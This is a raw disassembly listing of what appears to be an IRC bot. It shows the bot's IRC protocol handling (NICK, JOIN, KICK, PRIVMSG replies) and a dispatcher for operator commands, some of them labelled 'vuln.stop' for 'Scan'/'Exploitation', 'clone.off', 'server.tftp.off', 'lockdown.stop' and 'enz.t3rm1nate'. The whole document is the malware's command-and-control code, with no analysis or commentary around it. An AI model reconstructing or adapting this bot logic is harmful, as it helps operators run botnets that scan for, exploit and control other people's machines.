		mov	esi, [ebp-9Ch]
		push	esi
		push	offset a001	; "001"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E2DB
		push	esi
		push	offset a005	; "005"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E2DB
		push	esi
		push	offset a302	; "302"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4095F4
		push	offset a@_6	; "@"
		push	dword ptr [ebp-94h]
		call	sub_410AE0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40962D
		inc	eax
		push	9Fh
		push	eax
		push	dword ptr [ebp+24h]
		call	sub_411D00
		add	esp, 0Ch
		jmp	short loc_40962D
; ---------------------------------------------------------------------------


loc_4095F4:				; CODE XREF: seg000:004095C8j
		push	esi
		push	offset a433	; "433"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409634
		push	ebx
		push	ds:dword_45ED3C
		push	ds:dword_423014
		push	dword ptr [ebp+18h]
		call	sub_40FA4E
		push	dword ptr [ebp+18h]
		push	offset aNickS	; "NICK	%s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40E321
		add	esp, 1Ch


loc_40962D:				; CODE XREF: seg000:00409568j
					; seg000:00409584j ...
		mov	eax, edi
		jmp	loc_40980E
; ---------------------------------------------------------------------------


loc_409634:				; CODE XREF: seg000:00409603j
		mov	esi, [ebp+20h]
		mov	dword ptr [ebp-0A4h], 2
		mov	edi, 80h


loc_409646:				; CODE XREF: seg000:0040966Bj
		lea	eax, [ebp-0A94h]
		push	eax
		push	esi
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409663
		mov	dword ptr [ebp-0A8h], 1


loc_409663:				; CODE XREF: seg000:00409657j
		add	esi, edi
		dec	dword ptr [ebp-0A4h]
		jnz	short loc_409646
		mov	esi, [ebp-9Ch]
		push	esi
		push	offset aKick	; "KICK"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40975A
		mov	esi, [ebp+20h]
		mov	dword ptr [ebp+2Ch], 2


loc_409692:				; CODE XREF: seg000:0040971Fj
		cmp	[esi], bl
		jz	loc_40971A
		push	7Fh
		lea	eax, [ebp-0A94h]
		push	esi
		push	eax
		call	sub_411D00
		lea	eax, [ebp-0C4h]
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40971A
		cmp	[ebp-94h], ebx
		jz	short loc_40971A
		push	dword ptr [ebp-94h]
		lea	eax, [ebp-0C4h]
		push	eax
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40971A
		lea	eax, [ebp-0C4h]
		mov	[esi], bl
		push	eax
		lea	eax, [ebp-2E4h]
		push	offset dword_42CB38
		push	eax
		call	sub_41050B
		lea	eax, [ebp-2E4h]
		push	eax
		lea	eax, [ebp-0C4h]
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40E321
		lea	eax, [ebp-2E4h]
		push	eax
		call	sub_407E0E
		add	esp, 20h


loc_40971A:				; CODE XREF: seg000:00409694j
					; seg000:004096B4j ...
		add	esi, edi
		dec	dword ptr [ebp+2Ch]
		jnz	loc_409692
		push	dword ptr [ebp-94h]
		push	dword ptr [ebp+18h]
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40980B
		push	dword ptr [ebp+14h]
		mov	eax, [ebp+28h]
		push	dword ptr [ebp+10h]
		mov	[eax], ebx
		push	offset aJoinSS	; "JOIN	%s %s\r\n"


loc_40974D:				; CODE XREF: seg000:0040998Cj
					; seg000:00409C58j
		push	dword ptr [ebp+0Ch]
		call	sub_40E321
		jmp	loc_40DCD4
; ---------------------------------------------------------------------------


loc_40975A:				; CODE XREF: seg000:00409682j
		push	esi
		push	offset aNick	; "NICK"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4098A0
		mov	eax, [ebp-98h]
		mov	esi, [ebp+20h]
		inc	eax
		mov	dword ptr [ebp+8], 2
		mov	[ebp+2Ch], eax


loc_409783:				; CODE XREF: seg000:004097D5j
		lea	eax, [ebp-0A94h]
		push	eax
		push	esi
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4097D0
		lea	eax, [ebp-0A94h]
		push	21h
		push	eax
		call	sub_412760
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+24h], eax
		jz	short loc_4097D0
		push	dword ptr [ebp+2Ch]
		lea	edi, [esi+2]
		mov	byte ptr [esi],	3Ah
		lea	eax, [edi-1]
		push	eax
		call	sub_411B70
		push	dword ptr [ebp+24h]
		push	edi
		call	sub_411B80
		add	esp, 10h
		mov	edi, 80h


loc_4097D0:				; CODE XREF: seg000:00409794j
					; seg000:004097ABj
		add	esi, edi
		dec	dword ptr [ebp+8]
		jnz	short loc_409783
		lea	eax, [ebp-0C4h]
		test	eax, eax
		jz	short loc_40980B
		cmp	[ebp+2Ch], ebx
		jz	short loc_40980B
		push	dword ptr [ebp+18h]
		lea	eax, [ebp-0C4h]
		push	eax
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409813
		push	0Fh
		push	dword ptr [ebp+2Ch]
		push	dword ptr [ebp+18h]
		call	sub_411D00
		add	esp, 0Ch


loc_40980B:				; CODE XREF: seg000:004093EBj
					; seg000:00409481j ...
		push	1


loc_40980D:				; CODE XREF: seg000:0040DF9Ej
		pop	eax


loc_40980E:				; CODE XREF: seg000:0040962Fj
					; seg000:0040C68Fj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_409813:				; CODE XREF: seg000:004097F9j
		mov	edi, [ebp+20h]
		xor	esi, esi


loc_409818:				; CODE XREF: seg000:00409839j
		cmp	[edi], bl
		jz	short loc_40982F
		lea	eax, [ebp-0A94h]
		push	eax
		push	edi
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40983D


loc_40982F:				; CODE XREF: seg000:0040981Aj
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_409818
		jmp	short loc_40980B
; ---------------------------------------------------------------------------


loc_40983D:				; CODE XREF: seg000:0040982Dj
		lea	eax, [ebp-0A94h]
		push	21h
		push	eax
		call	sub_412760
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+8], eax
		jz	short loc_40980B
		push	eax
		call	sub_410B60
		push	dword ptr [ebp+2Ch]
		mov	edi, eax
		call	sub_410B60
		add	edi, eax
		pop	ecx
		cmp	edi, 7Eh
		pop	ecx
		ja	short loc_40980B
		push	dword ptr [ebp+8]
		shl	esi, 7
		push	dword ptr [ebp+2Ch]
		add	esi, [ebp+20h]
		push	offset aSS_0	; ":%s%s"
		push	esi
		call	sub_41050B
		push	ebx
		lea	eax, [ebp-4C8h]
		push	ebx
		push	eax
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		call	sub_40E367
		add	esp, 24h
		jmp	loc_40980B
; ---------------------------------------------------------------------------


loc_4098A0:				; CODE XREF: seg000:00409769j
		push	esi
		push	offset aPart	; "PART"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4098C2
		push	esi
		push	offset aQuit	; "QUIT"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4098E9


loc_4098C2:				; CODE XREF: seg000:004098AFj
		mov	edi, [ebp+20h]
		xor	esi, esi


loc_4098C7:				; CODE XREF: seg000:004098E7j
		cmp	[edi], bl
		jz	short loc_4098DD
		push	dword ptr [ebp-0A0h]
		push	edi
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_409930


loc_4098DD:				; CODE XREF: seg000:004098C9j
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_4098C7


loc_4098E9:				; CODE XREF: seg000:004098C0j
		push	dword ptr [ebp-9Ch]
		push	offset a353	; "353"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409991
		push	dword ptr [ebp-90h]
		push	dword ptr [ebp+10h]
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409920
		mov	eax, [ebp+28h]
		mov	dword ptr [eax], 1


loc_409920:				; CODE XREF: seg000:00409915j
		push	dword ptr [ebp-90h]
		push	offset dword_42CAD8
		jmp	loc_40E2CF
; ---------------------------------------------------------------------------


loc_409930:				; CODE XREF: seg000:004098DBj
		mov	eax, [ebp+20h]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp-0C4h]
		push	eax
		lea	eax, [ebp-2E4h]
		push	offset dword_42CAA4
		push	eax
		call	sub_41050B
		lea	eax, [ebp-2E4h]
		push	eax
		call	sub_407E0E
		push	dword ptr [ebp-9Ch]
		push	offset aPart	; "PART"
		call	sub_410930
		add	esp, 18h
		test	eax, eax
		jnz	loc_40980B
		lea	eax, [ebp-2E4h]
		push	eax
		mov	eax, [ebp-0A0h]
		inc	eax
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		jmp	loc_40974D
; ---------------------------------------------------------------------------


loc_409991:				; CODE XREF: seg000:004098FDj
		push	dword ptr [ebp-9Ch]
		mov	esi, offset aPrivmsg ; "PRIVMSG"
		push	esi
		call	sub_410930
		pop	ecx
		mov	edi, offset aNotice ; "NOTICE"
		test	eax, eax
		pop	ecx
		jz	short loc_4099E5
		push	dword ptr [ebp-9Ch]
		push	edi
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4099E5
		push	dword ptr [ebp-9Ch]
		push	offset a332	; "332"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40E148
		cmp	ds:dword_423004, ebx
		jz	loc_40E148


loc_4099E5:				; CODE XREF: seg000:004099ABj
					; seg000:004099BDj
		push	dword ptr [ebp-9Ch]
		push	esi
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409AEB
		push	dword ptr [ebp-9Ch]
		push	edi
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409AEB
		mov	eax, [ebp-94h]
		inc	dword ptr [ebp-90h]
		push	4
		mov	[ebp-98h], eax
		pop	esi
		mov	[ebp-0ACh], esi


loc_409A2C:				; CODE XREF: seg000:00409BA7j
					; seg000:00409C2Dj ...
		shl	esi, 2
		mov	ecx, [ebp+esi-0A0h]
		lea	eax, [ebp+esi-0A0h]
		lea	edi, [ecx+1]
		mov	[eax], edi
		mov	al, [ecx]
		cmp	al, ds:byte_42300C
		mov	[ebp+14h], edi
		jnz	loc_40980B
		push	edi
		push	offset aNewshit0 ; "newshit0"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E150
		push	edi
		push	offset dword_42CA80
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E150
		cmp	[ebp-0A8h], ebx
		jnz	short loc_409A9F
		push	dword ptr [ebp-9Ch]
		push	offset a332	; "332"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40E148


loc_409A9F:				; CODE XREF: seg000:00409A83j
		cmp	[ebp+30h], ebx
		jnz	loc_40E148
		cmp	ds:dword_42561C, ebx
		mov	[ebp+10h], ebx
		jle	loc_409DB3
		mov	dword ptr [ebp+28h], offset dword_434B58


loc_409ABE:				; CODE XREF: seg000:00409AE4j
		push	edi
		push	dword ptr [ebp+28h]
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409C5D
		inc	dword ptr [ebp+10h]
		add	dword ptr [ebp+28h], 0B8h
		mov	eax, [ebp+10h]
		cmp	eax, ds:dword_42561C
		jl	short loc_409ABE
		jmp	loc_409DB3
; ---------------------------------------------------------------------------


loc_409AEB:				; CODE XREF: seg000:004099F5j
					; seg000:00409A0Bj
		push	dword ptr [ebp-9Ch]
		push	edi
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409B04
		mov	dword ptr [ebp-4], 1


loc_409B04:				; CODE XREF: seg000:00409AFBj
		cmp	[ebp-98h], ebx
		jz	loc_40980B
		push	(offset	loc_41F1BB+1)
		push	dword ptr [ebp-98h]
		call	sub_410AE0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_409B2B
		cmp	[ebp-4], ebx
		jz	short loc_409B37


loc_409B2B:				; CODE XREF: seg000:00409B24j
		lea	eax, [ebp-0C4h]
		mov	[ebp-98h], eax


loc_409B37:				; CODE XREF: seg000:00409B29j
		cmp	[ebp-94h], ebx
		jz	loc_40980B
		inc	dword ptr [ebp-94h]
		jz	short loc_409B83
		cmp	[ebp+18h], ebx
		jz	short loc_409B83
		lea	eax, [ebp-464h]
		push	eax
		call	sub_410B60
		push	eax
		lea	eax, [ebp-464h]
		push	dword ptr [ebp-94h]
		push	eax
		call	sub_411E90
		mov	esi, eax
		add	esp, 10h
		neg	esi
		sbb	esi, esi
		add	esi, 4
		mov	[ebp-0ACh], esi
		jmp	short loc_409B89
; ---------------------------------------------------------------------------


loc_409B83:				; CODE XREF: seg000:00409B49j
					; seg000:00409B4Ej
		mov	esi, [ebp-0ACh]


loc_409B89:				; CODE XREF: seg000:00409B81j
		mov	edi, [ebp+esi*4-0A0h]
		cmp	edi, ebx
		jz	loc_40980B
		push	edi
		push	offset dword_42CA74
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409A2C
		mov	ecx, [ebp-98h]
		cmp	byte ptr [ecx],	23h
		jz	short loc_409C1E
		mov	eax, ds:dword_45ED4C
		mov	eax, ds:off_4230DC[eax*4]
		cmp	[eax], bl
		jz	short loc_409C1E
		push	eax
		push	ecx
		push	offset dword_42CA58
		push	dword ptr [ebp+0Ch]
		call	sub_40E321
		lea	eax, [ebp-0C4h]
		push	eax
		lea	eax, [ebp-2E4h]
		push	offset aSHasJustVersio ; "%s has just versioned	me."
		push	eax
		call	sub_41050B
		lea	eax, [ebp-2E4h]
		push	eax
		call	sub_407E0E
		add	esp, 20h
		cmp	[ebp-0A8h], ebx
		jnz	loc_40980B
		push	ebx
		lea	eax, [ebp-2E4h]
		push	1
		push	eax
		push	offset dword_45EC54
		jmp	loc_40DB22
; ---------------------------------------------------------------------------


loc_409C1E:				; CODE XREF: seg000:00409BB6j
					; seg000:00409BC6j
		push	edi
		push	offset dword_42CA34
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409A2C
		mov	eax, [ebp+esi*4-9Ch]
		cmp	eax, ebx
		jz	loc_409A2C
		mov	ecx, [ebp-98h]
		cmp	byte ptr [ecx],	23h
		jz	loc_409A2C
		push	eax
		push	ecx
		push	offset dword_42CA1C
		jmp	loc_40974D
; ---------------------------------------------------------------------------


loc_409C5D:				; CODE XREF: seg000:00409ACBj
		push	offset asc_42CBAC ; " :"
		push	dword ptr [ebp+8]
		call	sub_410AE0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_40980B
		mov	edi, [ebp+10h]
		mov	cl, ds:byte_42300C
		imul	edi, 0B8h
		mov	[eax+2], cl
		mov	cl, ds:byte_42300C
		mov	[eax+3], cl
		lea	ecx, dword_434B70[edi]
		push	9Fh
		add	eax, 4
		push	ecx
		push	eax
		call	sub_411D00
		lea	eax, [ebp+esi-60h]
		add	esp, 0Ch
		mov	dword ptr [ebp+10h], 0Fh
		mov	[ebp+28h], eax


loc_409CB5:				; CODE XREF: seg000:00409D4Ej
		push	dword ptr [ebp+10h]
		lea	eax, [ebp-20h]
		push	offset aD_1	; "$%d-"
		push	eax
		call	sub_41050B
		lea	eax, [ebp-20h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_410AE0
		add	esp, 14h
		test	eax, eax
		jz	short loc_409D18
		mov	eax, [ebp+28h]
		cmp	[eax], ebx
		jz	short loc_409D18
		lea	eax, dword_434B58[edi]
		push	eax
		call	sub_410B60
		add	[ebp-0Ch], eax
		pop	ecx
		jz	short loc_409D44
		mov	eax, [ebp+28h]
		push	dword ptr [eax-4]
		push	dword ptr [ebp-0Ch]
		call	sub_410AE0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_409D44
		push	eax
		lea	eax, [ebp-20h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_406C6E
		add	esp, 0Ch
		jmp	short loc_409D44
; ---------------------------------------------------------------------------


loc_409D18:				; CODE XREF: seg000:00409CD7j
					; seg000:00409CDEj
		mov	eax, [ebp+28h]
		cmp	[eax], ebx
		jnz	short loc_409D44
		lea	eax, [ebp-20h]
		push	2
		push	eax
		lea	eax, [ebp-14h]
		push	eax
		call	sub_411D00
		lea	eax, [ebp-14h]
		mov	[ebp-12h], bl
		push	eax
		lea	eax, [ebp-20h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_406C6E
		add	esp, 18h


loc_409D44:				; CODE XREF: seg000:00409CF0j
					; seg000:00409D04j ...
		dec	dword ptr [ebp+10h]
		sub	dword ptr [ebp+28h], 4
		cmp	[ebp+10h], ebx
		jg	loc_409CB5
		lea	eax, [ebp+esi-60h]
		mov	dword ptr [ebp+10h], 10h
		mov	edi, eax


loc_409D61:				; CODE XREF: seg000:00409DA4j
		push	dword ptr [ebp+10h]
		lea	eax, [ebp-20h]
		push	offset aD_0	; "$%d"
		push	eax
		call	sub_41050B
		lea	eax, [ebp-20h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_410AE0
		add	esp, 14h
		test	eax, eax
		jz	short loc_409D9B
		mov	eax, [edi]
		cmp	eax, ebx
		jz	short loc_409D9B
		push	eax
		lea	eax, [ebp-20h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_406C6E
		add	esp, 0Ch


loc_409D9B:				; CODE XREF: seg000:00409D83j
					; seg000:00409D89j
		dec	dword ptr [ebp+10h]
		sub	edi, 4
		cmp	[ebp+10h], ebx
		jg	short loc_409D61
		mov	edi, [ebp+14h]
		mov	dword ptr [ebp-0C8h], 1


loc_409DB3:				; CODE XREF: seg000:00409AB1j
					; seg000:00409AE6j
		mov	al, [edi]
		cmp	al, ds:byte_42300C
		jz	short loc_409DC9
		cmp	[ebp-0C8h], ebx
		jz	loc_409F8A


loc_409DC9:				; CODE XREF: seg000:00409DBBj
		push	dword ptr [ebp+18h]
		mov	edi, [ebp+8]
		push	offset aMe_0	; "$me"
		push	edi
		call	sub_406C6E
		lea	eax, [ebp-0C4h]
		push	eax
		push	offset aUser_2	; "$user"
		push	edi
		call	sub_406C6E
		push	dword ptr [ebp-98h]
		push	offset aChan	; "$chan"
		push	edi
		call	sub_406C6E
		push	ebx
		push	ebx
		lea	eax, [ebp-20h]
		push	2
		push	eax
		call	sub_40FA4E
		push	eax
		push	offset aRndnick	; "$rndnick"
		push	edi
		call	sub_406C6E
		add	esp, 40h
		push	dword ptr [ebp+1Ch]
		push	offset aServer_2 ; "$server"
		push	edi
		call	sub_406C6E
		mov	edi, offset aChr ; "$chr("
		push	edi
		push	dword ptr [ebp+8]
		call	sub_410AE0
		add	esp, 14h


loc_409E38:				; CODE XREF: seg000:00409F03j
		test	eax, eax
		jz	loc_409F08
		push	edi
		push	dword ptr [ebp+8]
		call	sub_410AE0
		mov	[ebp+18h], eax
		add	eax, 5
		push	4
		push	eax
		lea	eax, [ebp-20h]
		push	eax
		call	sub_411D00
		lea	eax, [ebp-20h]
		push	offset asc_42C9DC ; ")"
		push	eax
		call	sub_411C60
		add	esp, 1Ch
		cmp	byte ptr [ebp-20h], 30h
		jl	short loc_409E78
		cmp	byte ptr [ebp-20h], 39h
		jle	short loc_409E8B


loc_409E78:				; CODE XREF: seg000:00409E70j
		push	3
		lea	eax, [ebp-20h]
		push	offset a63	; "63"
		push	eax
		call	sub_411D00
		add	esp, 0Ch


loc_409E8B:				; CODE XREF: seg000:00409E76j
		lea	eax, [ebp-20h]
		push	eax
		call	sub_410A7F
		test	eax, eax
		pop	ecx
		jle	short loc_409EA8
		lea	eax, [ebp-20h]
		push	eax
		call	sub_410A7F
		pop	ecx
		mov	[ebp-14h], al
		jmp	short loc_409EB9
; ---------------------------------------------------------------------------


loc_409EA8:				; CODE XREF: seg000:00409E97j
		call	sub_410567
		push	60h
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 20h
		mov	[ebp-14h], dl


loc_409EB9:				; CODE XREF: seg000:00409EA6j
		lea	eax, [ebp-20h]
		mov	[ebp-13h], bl
		push	eax
		call	sub_410B60
		mov	[ebp+10h], eax
		push	0Ch
		lea	eax, [ebp-20h]
		push	ebx
		push	eax
		call	sub_410590
		mov	eax, [ebp+10h]
		add	eax, 6
		push	eax
		lea	eax, [ebp-20h]
		push	dword ptr [ebp+18h]
		push	eax
		call	sub_411D00
		lea	eax, [ebp-14h]
		push	eax
		lea	eax, [ebp-20h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_406C6E
		push	edi
		push	dword ptr [ebp+8]
		call	sub_410AE0
		add	esp, 30h
		jmp	loc_409E38
; ---------------------------------------------------------------------------


loc_409F08:				; CODE XREF: seg000:00409E3Aj
		mov	edi, 1FFh
		lea	eax, [ebp-0F9Ch]
		push	edi
		push	dword ptr [ebp+8]
		push	eax
		call	sub_411D00
		lea	eax, [ebp-0F9Ch]
		push	edi
		push	eax
		lea	eax, [ebp-119Ch]
		push	eax
		call	sub_411D00
		lea	eax, [ebp-119Ch]
		push	offset asc_41F6B0 ; " "
		push	eax
		call	sub_411C60
		add	esp, 20h
		mov	[ebp-0A0h], eax
		lea	edi, [ebp-9Ch]
		mov	dword ptr [ebp+18h], 1Fh


loc_409F58:				; CODE XREF: seg000:00409F6Dj
		push	offset asc_41F6B0 ; " "
		push	ebx
		call	sub_411C60
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	dword ptr [ebp+18h]
		pop	ecx
		jnz	short loc_409F58
		mov	ecx, [ebp+esi-0A0h]
		lea	eax, [ebp+esi-0A0h]
		cmp	ecx, ebx
		jz	loc_40980B
		add	ecx, 3
		mov	[eax], ecx


loc_409F8A:				; CODE XREF: seg000:00409DC3j
		mov	edi, [ebp+esi-0A0h]
		push	edi
		push	offset aEnz_rndnick ; "enz.rndnick"
		mov	[ebp+18h], edi
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E0FB
		push	edi
		push	offset aEnz_rn	; "enz.rn"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E0FB
		push	edi
		push	offset aEnz_endsess ; "enz.endsess"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E0D9
		push	edi
		push	offset aEnz_d	; "enz.d"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E0D9
		push	edi
		push	offset aEnz_logout ; "enz.logout"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E02E
		push	edi
		push	offset aEnz_lo	; "enz.lo"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E02E
		push	edi
		push	offset aServer_rlogin_ ; "server.rlogin.off"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40A03B
		push	dword ptr [ebp+esi-9Ch]
		push	6
		push	offset aServer	; "Server"
		push	offset dword_42C970
		jmp	loc_40E012
; ---------------------------------------------------------------------------


loc_40A03B:				; CODE XREF: seg000:0040A021j
		push	edi
		push	offset dword_42C960
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40A064
		push	dword ptr [ebp+esi-9Ch]
		push	3
		push	offset aServer	; "Server"
		push	offset dword_42C954
		jmp	loc_40E012
; ---------------------------------------------------------------------------


loc_40A064:				; CODE XREF: seg000:0040A04Aj
		push	edi
		push	offset dword_42C94C
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40A08D
		push	dword ptr [ebp+esi-9Ch]
		push	1Ch
		push	offset dword_42C940
		push	offset dword_42C934
		jmp	loc_40E012
; ---------------------------------------------------------------------------


loc_40A08D:				; CODE XREF: seg000:0040A073j
		push	edi
		push	offset aServer_redirec ; "server.redirect.off"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40A0B6
		push	dword ptr [ebp+esi-9Ch]
		push	10h
		push	offset dword_42C910
		push	offset dword_42C900
		jmp	loc_40E012
; ---------------------------------------------------------------------------


loc_40A0B6:				; CODE XREF: seg000:0040A09Cj
		push	edi
		push	offset dword_42C8F4
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40A0DF
		push	dword ptr [ebp+esi-9Ch]
		push	0Ah
		push	offset dword_42C8E8
		push	offset dword_42C8DC
		jmp	loc_40E012
; ---------------------------------------------------------------------------


loc_40A0DF:				; CODE XREF: seg000:0040A0C5j
		push	edi
		push	offset dword_42C8CC
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40A108
		push	dword ptr [ebp+esi-9Ch]
		push	0Bh
		push	offset dword_42C8C0
		push	offset dword_42C8B4
		jmp	loc_40E012
; ---------------------------------------------------------------------------


loc_40A108:				; CODE XREF: seg000:0040A0EEj
		push	edi
		push	offset dword_42C8A4
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40A131
		push	dword ptr [ebp+esi-9Ch]
		push	0Fh
		push	offset dword_42C898
		push	offset dword_42C88C
		jmp	loc_40E012
; ---------------------------------------------------------------------------


loc_40A131:				; CODE XREF: seg000:0040A117j
		push	edi
		push	offset dword_42C87C
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40A15A
		push	dword ptr [ebp+esi-9Ch]
		push	0Eh
		push	offset dword_42C870
		push	offset dword_42C864
		jmp	loc_40E012
; ---------------------------------------------------------------------------


loc_40A15A:				; CODE XREF: seg000:0040A140j
		push	edi
		push	offset aServer_tftp_of ; "server.tftp.off"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40A183
		push	dword ptr [ebp+esi-9Ch]
		push	4
		push	offset aServer	; "Server"
		push	offset dword_42C848
		jmp	loc_40E012
; ---------------------------------------------------------------------------


loc_40A183:				; CODE XREF: seg000:0040A169j
		push	edi
		push	offset aBox_procs_off ;	"box.procs.off"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DFFF
		push	edi
		push	offset aBox_ps_off ; "box.ps.off"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DFFF
		push	edi
		push	offset aClone_off ; "clone.off"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40A1D6
		push	dword ptr [ebp+esi-9Ch]
		push	17h
		push	offset aClone	; "Clone"
		push	offset dword_42C808
		jmp	loc_40E012
; ---------------------------------------------------------------------------


loc_40A1D6:				; CODE XREF: seg000:0040A1BCj
		push	edi
		push	offset aLockdown_stop ;	"lockdown.stop"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40A1FF
		push	dword ptr [ebp+esi-9Ch]
		push	19h
		push	offset aSecure	; "Secure"
		push	offset dword_42C7E0
		jmp	loc_40E012
; ---------------------------------------------------------------------------


loc_40A1FF:				; CODE XREF: seg000:0040A1E5j
		push	edi
		push	offset aVuln_stop ; "vuln.stop"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40A228
		push	dword ptr [ebp+esi-9Ch]
		push	8
		push	offset aScan	; "Scan"
		push	offset aExploitation ; "Exploitation"
		jmp	loc_40E012
; ---------------------------------------------------------------------------


loc_40A228:				; CODE XREF: seg000:0040A20Ej
		push	edi
		push	offset aVuln_stats ; "vuln.stats"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DFE6
		push	edi
		push	offset aVuln_st	; "vuln.st"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DFE6
		push	edi
		push	offset aEnz_reh4sh ; "enz.reh4sh"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DFC5
		push	edi
		push	offset aEnz_rh4	; "enz.rh4"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DFC5
		push	edi
		push	offset aEnz_endt3rm ; "enz.endt3rm"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DFA3
		push	edi
		push	offset aEnz_et3	; "enz.et3"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DFA3
		push	edi
		push	offset aEnz_t3rm1nate ;	"enz.t3rm1nate"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DF5B
		push	edi
		push	offset aEnz_t3rm1 ; "enz.t3rm1"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DF5B
		push	edi
		push	offset aEnz_status ; "enz.status"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DF1D
		push	edi
		push	offset aEnz_s	; "enz.s"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DF1D
		push	edi
		push	offset aEnz_id	; "enz.id"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DEE6
		push	edi
		push	offset aEnz_i	; "enz.i"
		call	sub_410930
		pop	ecx
